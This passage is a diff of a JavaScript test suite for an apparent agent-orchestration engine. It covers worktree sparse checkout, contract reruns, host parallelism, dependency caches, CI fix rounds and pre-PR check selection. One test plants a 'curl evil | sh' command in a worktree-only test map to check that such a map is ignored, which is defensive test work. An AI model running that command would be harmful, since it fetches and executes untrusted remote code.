w.io.git = async (a, x) => {
|
|
2703
|
+
if (git1) { const r = await git1(a, x, w); if (r !== undefined) return r; }
|
|
2704
|
+
if (a[0] === "ls-tree") { w.calls.push(["git", ...a]); return o.lsTree ?? BIG; }
|
|
2705
|
+
if (a[0] === "rev-parse" && a[2] === "info/sparse-checkout") return "/repo/.git/worktrees/lean-7/info/sparse-checkout\n";
|
|
2706
|
+
return g(a, x);
|
|
2707
|
+
};
|
|
2708
|
+
return w;
|
|
2709
|
+
};
|
|
2710
|
+
const gitCalls = (w, k) => w.calls.filter((c) => c[0] === "git" && c[1] === k);
|
|
2711
|
+
|
|
2712
|
+
it("#4221 fresh, resume and #4118 keepLocal paths add a sparse worktree when the ref has a large blob; WORKTREE_SPARSE is logged", async () => {
|
|
2713
|
+
const keepLocal = async (a) => (a[0] === "rev-list" && a[1] === "--count" && String(a[2]).includes("refs/heads/feat/issue-7-lean") ? "1\n" : undefined);
|
|
2714
|
+
for (const [name, w, ref] of [
|
|
2715
|
+
["fresh", sparseWorld(), "origin/staging"],
|
|
2716
|
+
["resume", sparseWorld({ prList: [], remote: "abc\trefs/heads/feat/issue-7-lean" }), "origin/feat/issue-7-lean"],
|
|
2717
|
+
["keepLocal", sparseWorld({}, keepLocal), "refs/heads/feat/issue-7-lean"],
|
|
2718
|
+
]) {
|
|
2719
|
+
const dir = tmpDir("sparse-");
|
|
2720
|
+
assert.equal((await run(w, { dir })).terminalReason, "merged", name);
|
|
2721
|
+
const adds = w.calls.filter((c) => c[0] === "git" && c[1] === "worktree" && c[2] === "add");
|
|
2722
|
+
assert.equal(adds.length, 1, name);
|
|
2723
|
+
assert.equal(adds[0][3], "--no-checkout", name);
|
|
2724
|
+
if (name === "keepLocal") assert.ok(!adds[0].includes("-B") && adds[0].at(-1) === "feat/issue-7-lean", "#4118: the local branch is never reset");
|
|
2725
|
+
assert.deepEqual(gitCalls(w, "ls-tree")[0].slice(2), ["-r", "-l", "-z", ref], name);
|
|
2726
|
+
assert.ok(gitCalls(w, "sparse-checkout").some((c) => c.includes("--no-cone")), name);
|
|
2727
|
+
assert.ok(gitCalls(w, "read-tree").length >= 1, name);
|
|
2728
|
+
assert.ok(Object.entries(w.files).some(([, t]) => t === "/*\n!/web/openapi.json\n"), `${name}: pattern file written`);
|
|
2729
|
+
const ev = readLog(dir, 7).filter((e) => e.event === "WORKTREE_SPARSE");
|
|
2730
|
+
assert.deepEqual(ev.map((e) => [e.excluded, e.excluded_bytes, e.max_kb]), [[1, 3000000, 1024]], name);
|
|
2731
|
+
const impl = builders(w).find((c) => !/PLANNING ONLY/.test(c[4]))[4];
|
|
2732
|
+
assert.match(impl, /sparse checkout: 1 tracked file\(s\) of 1024 KB or more/);
|
|
2733
|
+
assert.match(builders(w).find((c) => /PLANNING ONLY/.test(c[4]))[4], /git sparse-checkout add/);
|
|
2734
|
+
}
|
|
2735
|
+
});
|
|
2736
|
+
|
|
2737
|
+
it("#4221 no large blob or sparseMaxKb 0 keeps today's plain worktree add and an unchanged prompt", async () => {
|
|
2738
|
+
for (const [w, extra] of [[sparseWorld({ lsTree: "" }), {}], [sparseWorld(), { sparseMaxKb: 0 }]]) {
|
|
2739
|
+
const dir = tmpDir("sparse-off-");
|
|
2740
|
+
assert.equal((await run(w, { dir, ...extra })).terminalReason, "merged");
|
|
2741
|
+
const adds = w.calls.filter((c) => c[0] === "git" && c[1] === "worktree" && c[2] === "add");
|
|
2742
|
+
assert.deepEqual(adds.map((c) => c.slice(1)), [["worktree", "add", "-B", "feat/issue-7-lean", "/wt/lean-7", "origin/staging"]]);
|
|
2743
|
+
assert.equal(gitCalls(w, "sparse-checkout").length, 0);
|
|
2744
|
+
assert.equal(readLog(dir, 7).filter((e) => e.event === "WORKTREE_SPARSE").length, 0);
|
|
2745
|
+
for (const c of builders(w)) assert.doesNotMatch(c[4], /sparse checkout/);
|
|
2746
|
+
}
|
|
2747
|
+
assert.equal(gitCalls(sparseWorld(), "ls-tree").length, 0);
|
|
2748
|
+
});
|
|
2749
|
+
|
|
2750
|
+
it("#4221 a failing sparse step falls back to a full checkout: WORKTREE_SPARSE_FALLBACK, an anomaly, and the lane still merges", async () => {
|
|
2751
|
+
const dir = tmpDir("sparse-fb-");
|
|
2752
|
+
let failed = false;
|
|
2753
|
+
const w = sparseWorld({}, async (a) => { if (a[0] === "read-tree" && !failed) { failed = true; throw Object.assign(new Error("boom"), { stderr: "fatal: boom" }); } return undefined; });
|
|
2754
|
+
assert.equal((await run(w, { dir })).terminalReason, "merged");
|
|
2755
|
+
assert.deepEqual(readLog(dir, 7).filter((e) => e.event === "WORKTREE_SPARSE_FALLBACK").map((e) => e.reason), ["fatal: boom"]);
|
|
2756
|
+
assert.ok(gitCalls(w, "sparse-checkout").some((c) => c[2] === "disable"));
|
|
2757
|
+
assert.equal(readLog(dir, 7).filter((e) => e.event === "WORKTREE_SPARSE").length, 0);
|
|
2758
|
+
assert.ok(traj(w).some((t) => /Sparse checkout failed, full checkout used: fatal: boom/.test(t)));
|
|
2759
|
+
for (const c of builders(w)) assert.doesNotMatch(c[4], /sparse checkout:/);
|
|
2760
|
+
});
|
|
2761
|
+
|
|
1991
2762
|
it("#4114 gh writes (comment) retry on 5xx and secondary rate limits; non-transient errors do not", async () => {
|
|
1992
2763
|
const w = world({ commentErrors: ["HTTP 502: Bad Gateway", "You have exceeded a secondary rate limit. Please wait a few minutes"] });
|
|
1993
2764
|
assert.equal((await run(w)).terminalReason, "merged");
|
|
@@ -2085,6 +2856,27 @@ describe("batch robustness (#4112-#4115)", () => {
|
|
|
2085
2856
|
assert.ok(!w.comments.some((c) => c.includes("FORGE:CONTRACT")), "not re-posted");
|
|
2086
2857
|
assert.match(traj(w)[0], /frozen contract [0-9a-f]{12} recovered from the issue/);
|
|
2087
2858
|
});
|
|
2859
|
+
const scoped = (body = ISSUE_BODY) => contractHash(scopeText({ title: "foo breaks", body: `${body}\n\n<!-- FORGE:STATE {"v":1} -->` }, []));
|
|
2860
|
+
it("#4265 a rerun recovers a contract frozen from the current issue scope (engine annotations aside)", async () => {
|
|
2861
|
+
const c = frozenComment(CONTRACT, (b) => b.replace(/\(sha256 ([0-9a-f]{12})\)/, `(sha256 $1, issue ${scoped()})`));
|
|
2862
|
+
const w = world({ prList: [], remote: "abc\trefs/heads/feat/issue-7-lean", issueComments: [c] });
|
|
2863
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
2864
|
+
assert.equal(builders(w).length, 1);
|
|
2865
|
+
assert.match(traj(w)[0], /frozen contract [0-9a-f]{12} recovered from the issue/);
|
|
2866
|
+
});
|
|
2867
|
+
it("#4265 a rerun after the issue scope changed re-plans and freezes a new contract with the current scope hash", async () => {
|
|
2868
|
+
const dir = tmpDir("contract-stale-");
|
|
2869
|
+
const old = frozenComment(CONTRACT, (b) => b.replace(/\(sha256 ([0-9a-f]{12})\)/, `(sha256 $1, issue ${scoped("foo crashes; old scope.")})`));
|
|
2870
|
+
const human = { body: "Also: foo must log the null input.", author_association: "OWNER", user: { type: "User", login: "op" } };
|
|
2871
|
+
for (const [comments, reason] of [[[old], /issue scope [0-9a-f]{12} -> [0-9a-f]{12}/], [[frozenComment(), human], /a human comment was posted after it/]]) {
|
|
2872
|
+
const w = world({ prList: [], remote: "abc\trefs/heads/feat/issue-7-lean", issueComments: comments });
|
|
2873
|
+
assert.equal((await run(w, { dir })).terminalReason, "merged");
|
|
2874
|
+
assert.match(builders(w)[0][4], /PLANNING ONLY[\s\S]*This is a rerun/);
|
|
2875
|
+
assert.match(traj(w)[0], reason);
|
|
2876
|
+
assert.match(w.comments.find((x) => x.includes("<!-- FORGE:CONTRACT -->")), /\(sha256 [0-9a-f]{12}, issue [0-9a-f]{12}\)/);
|
|
2877
|
+
}
|
|
2878
|
+
assert.equal(readLog(dir, 7).filter((e) => e.event === "CONTRACT_STALE").length, 2);
|
|
2879
|
+
});
|
|
2088
2880
|
it("a tampered or untrusted contract comment is ignored: the rerun plans again", async () => {
|
|
2089
2881
|
for (const c of [frozenComment(CONTRACT, (b) => b.replaceAll("guard null", "guard nothing")), frozenComment(CONTRACT, (b) => b, "NONE")]) {
|
|
2090
2882
|
const w = world({ prList: [], remote: "abc\trefs/heads/feat/issue-7-lean", issueComments: [c] });
|
|
@@ -2379,8 +3171,8 @@ describe("verify-by-CI (#4167): ci mode runs the heavy checks on CI and feeds fa
|
|
|
2379
3171
|
const d = tmpDir("verify-yaml-");
|
|
2380
3172
|
writeFileSync(`${d}/forge.yaml`, "engine:\n conformance: shadow\n");
|
|
2381
3173
|
assert.equal(readVerify(d), undefined);
|
|
2382
|
-
writeFileSync(`${d}/forge.yaml`, "verify:\n mode: ci\n workflow: verify.yml\n skip_paths: \"*.md,docs/**\"\n max_rounds: 3\n");
|
|
2383
|
-
assert.deepEqual(readVerify(d), { mode: "ci", workflow: "verify.yml", pathsInput: null, skipPaths: ["*.md", "docs/**"], maxRounds: 3 });
|
|
3174
|
+
writeFileSync(`${d}/forge.yaml`, "verify:\n mode: ci\n workflow: verify.yml\n skip_paths: \"*.md,docs/**\"\n max_rounds: 3\n precheck_timeout_seconds: 60\n");
|
|
3175
|
+
assert.deepEqual(readVerify(d), { mode: "ci", workflow: "verify.yml", pathsInput: null, skipPaths: ["*.md", "docs/**"], maxRounds: 3, precheckTimeoutSeconds: 60, checkRun: false });
|
|
2384
3176
|
});
|
|
2385
3177
|
});
|
|
2386
3178
|
|
|
@@ -2527,3 +3319,779 @@ describe("lane resource ledger + teardown on every exit path (#4179)", () => {
|
|
|
2527
3319
|
}
|
|
2528
3320
|
});
|
|
2529
3321
|
});
|
|
3322
|
+
|
|
3323
|
+
describe("host-aware verification concurrency (#4182)", () => {
|
|
3324
|
+
const host = (o = {}) => ({ memAvailableMb: () => 8192, freeMb: async () => 8192, loadAvg1: () => o.load ?? 1, cores: () => o.cores ?? 4, activeLanes: o.activeLanes ?? (() => o.lanes ?? 2), tmpPaths: () => ["/tmp"] });
|
|
3325
|
+
const withEnv = async (v, fn) => { const prev = process.env.FORGE_HOST_PARALLELISM; if (v === undefined) delete process.env.FORGE_HOST_PARALLELISM; else process.env.FORGE_HOST_PARALLELISM = v;
|
|
3326
|
+
try { return await fn(); } finally { if (prev === undefined) delete process.env.FORGE_HOST_PARALLELISM; else process.env.FORGE_HOST_PARALLELISM = prev; } };
|
|
3327
|
+
|
|
3328
|
+
it("#4182 hostParallelism = max(1, floor(cores / lanes)); bad inputs count as 1", () => {
|
|
3329
|
+
assert.equal(hostParallelism({ cores: 4, lanes: 2 }), 2);
|
|
3330
|
+
assert.equal(hostParallelism({ cores: 4, lanes: 0 }), 4);
|
|
3331
|
+
assert.equal(hostParallelism({ cores: 1, lanes: 8 }), 1);
|
|
3332
|
+
assert.equal(hostParallelism({ cores: 7, lanes: 2 }), 3);
|
|
3333
|
+
assert.equal(hostParallelism({ cores: NaN, lanes: NaN }), 1);
|
|
3334
|
+
assert.equal(hostParallelism(), 1);
|
|
3335
|
+
});
|
|
3336
|
+
|
|
3337
|
+
it("#4182 a 4-core host with 2 lanes gives every runner call FORGE_HOST_PARALLELISM=2, with or without a run tmp", async () => {
|
|
3338
|
+
await withEnv(undefined, async () => {
|
|
3339
|
+
const w = world(); w.io.host = host();
|
|
3340
|
+
assert.equal((await run(w, { governor: false })).terminalReason, "merged");
|
|
3341
|
+
assert.ok(w.envs.length >= 1);
|
|
3342
|
+
for (const e of w.envs) assert.equal(e?.FORGE_HOST_PARALLELISM, "2");
|
|
3343
|
+
const w2 = world(); w2.io.host = host(); w2.io.runTmp = { prune: async () => {}, make: async (i, id) => `/home/x/.forge/tmp/runs/${id}`, remove: async () => {} };
|
|
3344
|
+
await run(w2, { governor: false });
|
|
3345
|
+
for (const e of w2.envs) { assert.equal(e?.FORGE_HOST_PARALLELISM, "2"); assert.match(e?.TMPDIR ?? "", /runs\/7-/); }
|
|
3346
|
+
});
|
|
3347
|
+
});
|
|
3348
|
+
|
|
3349
|
+
it("#4182 an operator-set FORGE_HOST_PARALLELISM wins; a failing lane probe or no host never breaks the run", async () => {
|
|
3350
|
+
await withEnv("3", async () => {
|
|
3351
|
+
const w = world(); w.io.host = host(); await run(w, { governor: false });
|
|
3352
|
+
for (const e of w.envs) assert.equal(e?.FORGE_HOST_PARALLELISM, "3");
|
|
3353
|
+
});
|
|
3354
|
+
await withEnv("0", async () => {
|
|
3355
|
+
const w = world(); w.io.host = host({ cores: 8, lanes: 4 }); await run(w, { governor: false });
|
|
3356
|
+
for (const e of w.envs) assert.equal(e?.FORGE_HOST_PARALLELISM, "2", "an invalid override is ignored");
|
|
3357
|
+
});
|
|
3358
|
+
await withEnv(undefined, async () => {
|
|
3359
|
+
const w = world(); w.io.host = host({ activeLanes: () => { throw new Error("ledger unreadable"); } });
|
|
3360
|
+
assert.equal((await run(w, { governor: false })).terminalReason, "merged");
|
|
3361
|
+
for (const e of w.envs) assert.equal(e?.FORGE_HOST_PARALLELISM, undefined, "a probe error injects nothing");
|
|
3362
|
+
const w2 = world(); assert.equal((await run(w2)).terminalReason, "merged");
|
|
3363
|
+
for (const e of w2.envs) assert.equal(e?.FORGE_HOST_PARALLELISM, undefined);
|
|
3364
|
+
});
|
|
3365
|
+
});
|
|
3366
|
+
|
|
3367
|
+
it("#4182 both builder prompts tell verification to cap workers at $FORGE_HOST_PARALLELISM (within budget)", () => {
|
|
3368
|
+
for (const p of [builderPlanPrompt(7), builderImplementPrompt()]) {
|
|
3369
|
+
for (const needle of ["$FORGE_HOST_PARALLELISM", "turbo --concurrency", "--maxWorkers", "playwright --workers", "--test-concurrency", "eslint via turbo"]) assert.ok(p.includes(needle), needle);
|
|
3370
|
+
assert.ok(approxTokens(p) <= 2800, `builder prompt is ${approxTokens(p)} tokens`);
|
|
3371
|
+
}
|
|
3372
|
+
});
|
|
3373
|
+
|
|
3374
|
+
it("#4182 2 lanes x 2 workers on a 4-core host stay under the admission ceiling; all-core pools are the old load", async () => {
|
|
3375
|
+
const cores = 4, lanes = 2, workers = hostParallelism({ cores, lanes });
|
|
3376
|
+
assert.ok(workers <= 2);
|
|
3377
|
+
assert.equal((await checkAdmission({ host: host({ cores, load: lanes * workers }) })).ok, true);
|
|
3378
|
+
assert.equal((await checkAdmission({ host: host({ cores, load: lanes * workers }) })).reasons.length, 0);
|
|
3379
|
+
});
|
|
3380
|
+
});
|
|
3381
|
+
|
|
3382
|
+
describe("shared dependency cache wiring (#4220)", () => {
|
|
3383
|
+
const depsIo = (w, o = {}) => {
|
|
3384
|
+
const d = { calls: [] };
|
|
3385
|
+
w.io.deps = {
|
|
3386
|
+
env: () => { if (o.envThrows) throw new Error("boom"); return { UV_CACHE_DIR: "/c/stores/uv-cache", npm_config_store_dir: "/c/stores/pnpm-store", TMPDIR: "/should-not-win" }; },
|
|
3387
|
+
prepare: async (a) => { d.calls.push({ ...a, runnerCallsBefore: w.calls.filter((c) => c[0] === "runner").length, worktreeAdded: w.calls.some((c) => c[1] === "worktree" && c[2] === "add") });
|
|
3388
|
+
if (o.prepareThrows) throw new Error("disk on fire");
|
|
3389
|
+
return o.results ?? [{ status: "hit", eco: "pnpm", key: "0123456789abcdef", ms: 1200, reason: null }]; },
|
|
3390
|
+
};
|
|
3391
|
+
return d;
|
|
3392
|
+
};
|
|
3393
|
+
|
|
3394
|
+
it("#4220 prepare runs once with the lane worktree after it exists and before the first runner call; DEPS_PREPARED is logged", async () => {
|
|
3395
|
+
const dir = tmpDir("deps-");
|
|
3396
|
+
const w = world(); w.io.runTmp = { prune: async () => {}, make: async (i, id) => `/home/x/.forge/tmp/runs/${id}`, remove: async () => {} };
|
|
3397
|
+
const d = depsIo(w);
|
|
3398
|
+
assert.equal((await run(w, { dir })).terminalReason, "merged");
|
|
3399
|
+
assert.equal(d.calls.length, 1);
|
|
3400
|
+
assert.equal(d.calls[0].wt, "/wt/lean-7");
|
|
3401
|
+
assert.match(d.calls[0].repoKey, /^[A-Za-z0-9._-]+-[0-9a-f]{8}$/);
|
|
3402
|
+
assert.equal(d.calls[0].worktreeAdded, true);
|
|
3403
|
+
assert.equal(d.calls[0].runnerCallsBefore, 0);
|
|
3404
|
+
const ev = readLog(dir, 7).filter((e) => e.event === "DEPS_PREPARED");
|
|
3405
|
+
assert.deepEqual(ev.map((e) => [e.status, e.eco, e.key]), [["hit", "pnpm", "0123456789abcdef"]]);
|
|
3406
|
+
assert.ok(w.envs.length >= 2);
|
|
3407
|
+
for (const e of w.envs) {
|
|
3408
|
+
assert.equal(e.UV_CACHE_DIR, "/c/stores/uv-cache");
|
|
3409
|
+
assert.equal(e.npm_config_store_dir, "/c/stores/pnpm-store");
|
|
3410
|
+
assert.ok(e.FORGE_DOCKER_LABELS, "existing keys stay");
|
|
3411
|
+
assert.match(e.TMPDIR, /runs\/7-/, "the engine's TMPDIR wins over the cache env");
|
|
3412
|
+
}
|
|
3413
|
+
});
|
|
3414
|
+
|
|
3415
|
+
it("#4220 a prepare that throws or fails, or an env() that throws, never changes the outcome; no io.deps is the old behaviour", async () => {
|
|
3416
|
+
for (const o of [{ prepareThrows: true }, { results: [{ status: "failed", eco: "uv", key: "k", ms: 5, reason: "install failed" }] }, { envThrows: true }]) {
|
|
3417
|
+
const dir = tmpDir("deps-f-");
|
|
3418
|
+
const w = world(); depsIo(w, o);
|
|
3419
|
+
assert.equal((await run(w, { dir })).terminalReason, "merged", JSON.stringify(o));
|
|
3420
|
+
assert.equal(readLog(dir, 7).filter((e) => e.event === "DEPS_PREPARED").length, 1);
|
|
3421
|
+
if (o.envThrows) for (const e of w.envs) assert.equal(e.UV_CACHE_DIR, undefined);
|
|
3422
|
+
}
|
|
3423
|
+
const dir = tmpDir("deps-none-");
|
|
3424
|
+
const w = world();
|
|
3425
|
+
assert.equal((await run(w, { dir })).terminalReason, "merged");
|
|
3426
|
+
assert.equal(readLog(dir, 7).filter((e) => e.event === "DEPS_PREPARED").length, 0);
|
|
3427
|
+
for (const e of w.envs) assert.equal(e.UV_CACHE_DIR, undefined);
|
|
3428
|
+
});
|
|
3429
|
+
|
|
3430
|
+
it("#4220 both builder prompts tell the builder how to treat a shared read-only node_modules/.venv (within budget)", () => {
|
|
3431
|
+
for (const p of [builderPlanPrompt(7), builderImplementPrompt()]) {
|
|
3432
|
+
for (const needle of ["hardlinked read-only from a shared cache", "rm -rf", "EACCES"]) assert.ok(p.includes(needle), needle);
|
|
3433
|
+
assert.ok(approxTokens(p) <= 2800, `builder prompt is ${approxTokens(p)} tokens`);
|
|
3434
|
+
}
|
|
3435
|
+
});
|
|
3436
|
+
});
|
|
3437
|
+
|
|
3438
|
+
describe("local-mode CI fix rounds at merge and declared pre-PR check commands (#4240)", () => {
|
|
3439
|
+
const RUN_URL = "https://github.com/o/r/actions/runs/555/job/1";
|
|
3440
|
+
/** checkStates fed from a list of {state: {name: state}}; each entry is reported for the PR's current head. */
|
|
3441
|
+
const withChecks = (w, seq) => {
|
|
3442
|
+
w.logsFor = [];
|
|
3443
|
+
w.io.requiredChecks = async () => ["Unit tests"];
|
|
3444
|
+
w.io.checkStates = async () => { const s = seq.length > 1 ? seq.shift() : seq[0]; return Object.entries(s).map(([name, state]) => ({ name, state, url: RUN_URL, head: w.head })); };
|
|
3445
|
+
w.io.failedLogs = async (id) => { w.logsFor.push(id); return "not ok 1 - test uses mkdtempSync, not tmpDir"; };
|
|
3446
|
+
return w;
|
|
3447
|
+
};
|
|
3448
|
+
const ciFixes = (w) => builders(w).filter((b) => /CI failed on the pushed branch/.test(b[4]));
|
|
3449
|
+
|
|
3450
|
+
it("local mode: a required-check failure resumes the builder with the failed log; the green re-run merges the re-reviewed head", async () => {
|
|
3451
|
+
const w = withChecks(world(), [{ "Unit tests": "failure" }, { "Unit tests": "success" }]);
|
|
3452
|
+
const dir = tmpDir("core-");
|
|
3453
|
+
const r = await run(w, { dir });
|
|
3454
|
+
assert.equal(r.terminalReason, "merged");
|
|
3455
|
+
const fix = ciFixes(w);
|
|
3456
|
+
assert.equal(fix.length, 1); assert.equal(fix[0][2], "sess-1");
|
|
3457
|
+
assert.match(fix[0][4], /mkdtempSync, not tmpDir/); assert.match(fix[0][4], /actions\/runs\/555/);
|
|
3458
|
+
assert.deepEqual(w.logsFor, ["555"]);
|
|
3459
|
+
assert.equal(reviewers(w).length, 2, "the fixed head is reviewed again before merge");
|
|
3460
|
+
assert.deepEqual(w.merges[0].slice(-2), ["--match-head-commit", w.head]);
|
|
3461
|
+
const round = readLog(dir, 7).find((e) => e.event === "CI_FIX_ROUND");
|
|
3462
|
+
assert.deepEqual([round.trigger, round.round, round.jobs], ["merge", 1, ["Unit tests"]]);
|
|
3463
|
+
});
|
|
3464
|
+
|
|
3465
|
+
it("local mode: still red after verify.max_rounds ends ci.red and nothing merges", async () => {
|
|
3466
|
+
const w = withChecks(world(), [{ "Unit tests": "failure" }]);
|
|
3467
|
+
const r = await run(w, { verify: { maxRounds: 1 } });
|
|
3468
|
+
assert.equal(r.code, "ci.red"); assert.equal(w.merges.length, 0); assert.equal(ciFixes(w).length, 1);
|
|
3469
|
+
});
|
|
3470
|
+
|
|
3471
|
+
it("verify.max_rounds 0 keeps the old behaviour: ci.red on the first failure, no builder resume", async () => {
|
|
3472
|
+
const w = withChecks(world(), [{ "Unit tests": "failure" }]);
|
|
3473
|
+
const r = await run(w, { verify: { maxRounds: 0 } });
|
|
3474
|
+
assert.equal(r.code, "ci.red"); assert.equal(ciFixes(w).length, 0);
|
|
3475
|
+
});
|
|
3476
|
+
|
|
3477
|
+
it("local mode: a fix round that makes no new commit ends ci.red immediately (no loop)", async () => {
|
|
3478
|
+
const w = withChecks(world(), [{ "Unit tests": "failure" }]);
|
|
3479
|
+
const inner = w.io.runner;
|
|
3480
|
+
w.io.runner = async (c) => { const h = w.head; const res = await inner(c); if (/CI failed on the pushed branch/.test(c.prompt)) w.head = h; return res; };
|
|
3481
|
+
const r = await run(w, { verify: { maxRounds: 5 } });
|
|
3482
|
+
assert.equal(r.terminalReason, "needs-human"); assert.equal(r.code, "ci.red");
|
|
3483
|
+
assert.equal(ciFixes(w).length, 1); assert.equal(w.merges.length, 0);
|
|
3484
|
+
});
|
|
3485
|
+
|
|
3486
|
+
it("a rollup still reporting the pre-fix head counts as pending, not as a second failure", async () => {
|
|
3487
|
+
const w = withChecks(world(), [{ "Unit tests": "failure" }]);
|
|
3488
|
+
let calls = 0;
|
|
3489
|
+
w.io.checkStates = async () => {
|
|
3490
|
+
calls++;
|
|
3491
|
+
if (calls === 1) return [{ name: "Unit tests", state: "failure", url: RUN_URL, head: w.head }];
|
|
3492
|
+
return calls === 2 ? [{ name: "Unit tests", state: "failure", url: RUN_URL, head: "0123456789abcdef" }] : [{ name: "Unit tests", state: "success", url: RUN_URL, head: w.head }];
|
|
3493
|
+
};
|
|
3494
|
+
const r = await run(w, { verify: { maxRounds: 1 } });
|
|
3495
|
+
assert.equal(r.terminalReason, "merged"); assert.equal(ciFixes(w).length, 1);
|
|
3496
|
+
});
|
|
3497
|
+
|
|
3498
|
+
it("pre-PR: declared commands run in the lane worktree; a failing one goes back to the builder before PR_OPENED", async () => {
|
|
3499
|
+
const w = world(); const ran = [];
|
|
3500
|
+
let rc = 1;
|
|
3501
|
+
w.io.runCommand = async ({ command, cwd, timeoutMs }) => { ran.push([command, cwd, timeoutMs]); w.seq.push(`check:${rc}`); const r = { rc, output: "check-test-tmp-cleanup: mkdtempSync in x.test.mjs" }; return r; };
|
|
3502
|
+
const inner = w.io.runner;
|
|
3503
|
+
w.io.runner = async (c) => { if (/declared check commands failed/.test(c.prompt)) rc = 0; return inner(c); };
|
|
3504
|
+
const dir = tmpDir("core-");
|
|
3505
|
+
const r = await run(w, { dir, precheck: { commands: ["bash scripts/check-test-tmp-cleanup.sh"] } });
|
|
3506
|
+
assert.equal(r.terminalReason, "merged");
|
|
3507
|
+
assert.deepEqual(ran.map((x) => x.slice(0, 2)), [["bash scripts/check-test-tmp-cleanup.sh", WT], ["bash scripts/check-test-tmp-cleanup.sh", WT]]);
|
|
3508
|
+
assert.equal(ran[0][2], 300000);
|
|
3509
|
+
const fix = builders(w).filter((b) => /declared check commands failed/.test(b[4]));
|
|
3510
|
+
assert.equal(fix.length, 1); assert.equal(fix[0][2], "sess-1"); assert.match(fix[0][4], /mkdtempSync in x\.test\.mjs/); assert.match(fix[0][4], /exit 1/);
|
|
3511
|
+
assert.ok(w.seq.indexOf("builder-resume", w.seq.indexOf("check:1")) < w.seq.indexOf("pr"), "the fix runs before the PR is opened");
|
|
3512
|
+
const log = readLog(dir, 7);
|
|
3513
|
+
const pre = log.filter((e) => e.event === "PRECHECK_COMMANDS");
|
|
3514
|
+
assert.deepEqual(pre.map((e) => e.results), [[{ command: "bash scripts/check-test-tmp-cleanup.sh", rc: 1 }], [{ command: "bash scripts/check-test-tmp-cleanup.sh", rc: 0 }]]);
|
|
3515
|
+
assert.ok(log.findIndex((e) => e.event === "PRECHECK_COMMANDS") < log.findIndex((e) => e.event === "PR_OPENED"));
|
|
3516
|
+
});
|
|
3517
|
+
|
|
3518
|
+
it("pre-PR: a passing set adds no builder turn; no commands configured runs nothing", async () => {
|
|
3519
|
+
const w = world(); let n = 0;
|
|
3520
|
+
w.io.runCommand = async () => { n++; return { rc: 0, output: "" }; };
|
|
3521
|
+
assert.equal((await run(w, { precheck: { commands: ["true", " ", "make lint"] } })).terminalReason, "merged");
|
|
3522
|
+
assert.equal(n, 2); assert.equal(builders(w).length, 2, "plan and implement only");
|
|
3523
|
+
const w2 = world(); let n2 = 0; w2.io.runCommand = async () => { n2++; return { rc: 0, output: "" }; };
|
|
3524
|
+
assert.equal((await run(w2)).terminalReason, "merged"); assert.equal(n2, 0);
|
|
3525
|
+
});
|
|
3526
|
+
|
|
3527
|
+
it("pre-PR: a fix round with no new commit is an anomaly and the lane continues to review (CI stays the gate)", async () => {
|
|
3528
|
+
const w = world();
|
|
3529
|
+
w.io.runCommand = async () => ({ rc: 2, output: "lint failed" });
|
|
3530
|
+
const inner = w.io.runner;
|
|
3531
|
+
w.io.runner = async (c) => { const h = w.head; const res = await inner(c); if (/declared check commands failed/.test(c.prompt)) w.head = h; return res; };
|
|
3532
|
+
const r = await run(w, { precheck: { commands: ["make lint"] }, verify: { maxRounds: 3 } });
|
|
3533
|
+
assert.equal(r.terminalReason, "merged");
|
|
3534
|
+
assert.equal(builders(w).filter((b) => /declared check commands failed/.test(b[4])).length, 1);
|
|
3535
|
+
assert.match(traj(w)[0], /builder made no new commit for them/);
|
|
3536
|
+
});
|
|
3537
|
+
});
|
|
3538
|
+
|
|
3539
|
+
describe("test map and repo facts caches (#4272)", () => {
|
|
3540
|
+
const MAPF = "origin/staging:.forge/test-map.json", FACTSF = `${WT}/.forge/repo-facts.json`;
|
|
3541
|
+
const map = (entries) => JSON.stringify({ version: 1, entries });
|
|
3542
|
+
const recorder = (w) => { const ran = []; w.io.runCommand = async ({ command }) => { ran.push(command); return { rc: 0, output: "" }; }; return ran; };
|
|
3543
|
+
|
|
3544
|
+
it("a test map present picks the commands for the changed files instead of learned.test_commands", async () => {
|
|
3545
|
+
const w = world(); const ran = recorder(w); w.baseFiles = {};
|
|
3546
|
+
w.baseFiles[MAPF] = map([{ globs: ["src/**/*.js"], command: "npm run lint", cwd: ".", source: "package.json#scripts.lint" },
|
|
3547
|
+
{ globs: ["**/*.py"], command: "uv run pytest", cwd: ".", source: "pyproject.toml" }, { globs: ["test/**"], command: "npm test", cwd: "pkg", source: "pkg/package.json" }]);
|
|
3548
|
+
const dir = tmpDir("core-");
|
|
3549
|
+
assert.equal((await run(w, { dir, precheck: { commands: ["make lint"] } })).terminalReason, "merged");
|
|
3550
|
+
assert.deepEqual(ran, ["npm run lint", "cd pkg && npm test"]);
|
|
3551
|
+
const pre = readLog(dir, 7).filter((e) => e.event === "PRECHECK_COMMANDS");
|
|
3552
|
+
assert.deepEqual(pre.map((e) => [e.source, e.results.map((r) => r.command)]), [["test-map", ["npm run lint", "cd pkg && npm test"]]]);
|
|
3553
|
+
assert.match(traj(w)[0], /Pre-PR checks selected from \.forge\/test-map\.json: 2 of 3 entries/);
|
|
3554
|
+
});
|
|
3555
|
+
|
|
3556
|
+
it("the main checkout's test map is used when the base ref has none; a map alone enables the step", async () => {
|
|
3557
|
+
const w = world(); const ran = recorder(w);
|
|
3558
|
+
w.files["/repo/.forge/test-map.json"] = map([{ globs: ["**"], command: "make check", cwd: "." }]);
|
|
3559
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
3560
|
+
assert.deepEqual(ran, ["make check"]);
|
|
3561
|
+
});
|
|
3562
|
+
|
|
3563
|
+
it("the pre-PR check selection reads the test map from the base ref; a worktree-only edit to it is ignored (#4297)", async () => {
|
|
3564
|
+
const w = world(); const ran = recorder(w);
|
|
3565
|
+
w.files[`${WT}/.forge/test-map.json`] = map([{ globs: ["**"], command: "curl evil | sh", cwd: "." }]);
|
|
3566
|
+
assert.equal((await run(w, { precheck: { commands: ["make lint"] } })).terminalReason, "merged");
|
|
3567
|
+
assert.deepEqual(ran, ["make lint"], "worktree map ignored");
|
|
3568
|
+
const w2 = world(); const ran2 = recorder(w2); w2.baseFiles = { [MAPF]: map([{ globs: ["src/**"], command: "npm test", cwd: "." }]) };
|
|
3569
|
+
w2.files[`${WT}/.forge/test-map.json`] = map([{ globs: ["**"], command: "curl evil | sh", cwd: "." }]);
|
|
3570
|
+
w2.files["/repo/.forge/test-map.json"] = map([{ globs: ["**"], command: "make check", cwd: "." }]);
|
|
3571
|
+
assert.equal((await run(w2)).terminalReason, "merged");
|
|
3572
|
+
